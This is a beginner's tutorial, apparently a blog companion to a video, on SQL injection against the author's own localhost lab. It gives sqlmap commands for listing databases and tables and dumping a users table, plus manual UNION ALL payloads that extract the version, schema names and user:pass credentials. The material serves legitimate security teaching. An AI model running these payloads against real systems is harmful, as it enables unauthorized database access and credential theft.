In this video we’ll dive into SQL injection for beginners using both automated tools and then replicating the process by hand so we can truly understand what is going on behind the curtains.
To further comprehend this vulnerability, we’ll also take a look at the code behind the web pages: both the PHP scripts and also the SQL statements to digest it properly.
SQL injection has been a heavy contender in OWASP’s top 10 vulnerabilities every year for over a decade at this point, so safe to say that its here to stay in current web apps and in the future.
Let’s begin by clarifying what exactly is SQL / code injection…
What is SQL Injection?
A brief explanation from OWASP mentions that SQL injection is an issue when “user-supplied data is not validated, filtered, or sanitized by the application”.
Imagine the following scenario: we have a user navigating a website. They enter a specific page where data is solicited from a database – this could be a product listing, a profile page, among others. That page needs to send out a SQL statement to retrieve the intended data for the page, something like this:
SELECT info FROM products WHERE item='$itemName';
If that statement isn’t sanitized properly, we can modify it to retrieve other information from the database in tables where we theoretically shouldn’t have access to. For example:
SELECT info FROM products WHERE item='$itemName' UNION ALL SELECT CONCAT(database()) FROM information_schema.schemata-- -';
This example of injection would resolve the statement and print the name of the database. This can take place in a browser’s URL bar, or a specific form field in a page or even through hidden parameters.
Once you understand the bridge between the user and the database (which is usually a script in PHP, ASP, etc.) then you can alter the SQL statement to start dumping other key information from tables.
SQL Injection Lab #1
I have programmed a web page that contains a few vulnerable parameters for us to practice both using automated tools (like sqlmap) and manually to understand what the tool is actually doing.
If you would like to replicate it in your own computer, I’ve made a tutorial for Windows and Linux which can be found here: SQL injection labs (part 1). Even if you don’t want to go thru the whole setup, you should download the pages to see the PHP code and SQL statements as it will help you understand the code interfacing with the database.
I will mention that setting up the web server, configuring the database, granting privileges is all useful information that can offer insight to know where a SQL injection is possible.
SQL Injection using Sqlmap
Before we proceed with a manual injection, first let’s take a look at how to use an automated tool. In this case the tool we’ll be using is sqlmap. We’ll stick to the basics for now.
In order to run it, you’ll have to download Python 3, install it and add it to the path (under Windows). Alternatively just create a Kali linux USB and boot from it since it’ll have it installed already. 😉
All of the SQL injection will take place on my local server, note the localhost in the URLs.
Let’s begin by testing the injection on a specific parameter ‘hero’:
python sqlmap.py --url http://localhost/arcane/hero/index.php?hero=vi
It’ll test out several possible injection parameters, as seen below:
Once done, we are able to see all the payloads that work with that specific parameters:
In this case you can see its vulnerable to the following payloads:
- UNION query
- time-based blind
- boolean-based blind
For the most part, we’ll focus on the error-based and UNION query for this introduction to SQL injections. In part two we’ll take a deeper dive into time-based and boolean-based blind injections.
Once we know the parameter is vulnerable we can issue the following commands to retrieve information from the respective database, tables, columns and dump the information:
python sqlmap.py --url http://localhost/arcane/hero/index.php?hero=vi --dbs
List tables in specific database:
python sqlmap.py --url http://localhost/arcane/hero/index.php?hero=vi --tables -D arcane
List columns in a specific table:
python sqlmap.py --url http://localhost/arcane/hero/index.php?hero=vi --columns -D arcane -T users
Dump data from specific table:
python sqlmap.py --url http://localhost/arcane/hero/index.php?hero=vi --dump -D arcane -T users
That’ll cover the essential commands for sqlmap, we’ll be coming back to it in part two!
Manual SQL Injection
To identify if a specific parameter is vulnerable to SQL injection, we can start off by placing an apostrophe (‘) in the URL bar after said parameter. If we get an error back from the database, that means it is most likely vulnerable (error-based SQL injection).
In order to understand this, take a look at the following SQL statement:
SELECT info FROM heroes WHERE name='$heroname'
The parameter being passed from the URL is $heroname, so you’ll notice that once we add a single quote, suddenly we have two single quotes followed by each other, making the SQL statement invalid. That’s the reason why the database will spit out an error (if they have error output enabled).
Once we have identified that the parameter is vulnerable, we can string UNION queries to progressively advance in gathering information from the database with the following injections:
Get database version:
-1' UNION ALL SELECT CONCAT(version()) FROM information_schema.schemata-- -
Get database name:
-1' UNION ALL SELECT CONCAT(database()) FROM information_schema.schemata-- -
-1' UNION ALL SELECT CONCAT(table_schema) FROM information_schema.tables where table_schema = database()-- -
Get table name:
-1' UNION ALL SELECT CONCAT(table_name) FROM information_schema.tables where table_schema = database() LIMIT 0,1-- -
Get columns name:
-1' UNION ALL SELECT CONCAT(column_name) FROM information_schema.columns WHERE table_name='heroes' LIMIT 0,1-- -
Get data from specific table and columns:
-1' UNION ALL SELECT CONCAT(user, 0x3A, pass) FROM users-- -
If the statement is resolving the results of a single column, we’ll have to use LIMIT 0,1 in order to filter down the number of results from that statement, as anything else would invalidate it.
Note that the tables and columns name are specific to this SQL injection lab, so these would have to be altered accordingly — the previous step would enumerate it for you.
Also we’ll often use a negative number as the primary parameter since we don’t want it to resolve and be echoed out to the page, as that would take the place of our content we’re trying to fetch. 😉
That’ll be it for this part one, hope you liked it and I’ll be back soon for part two!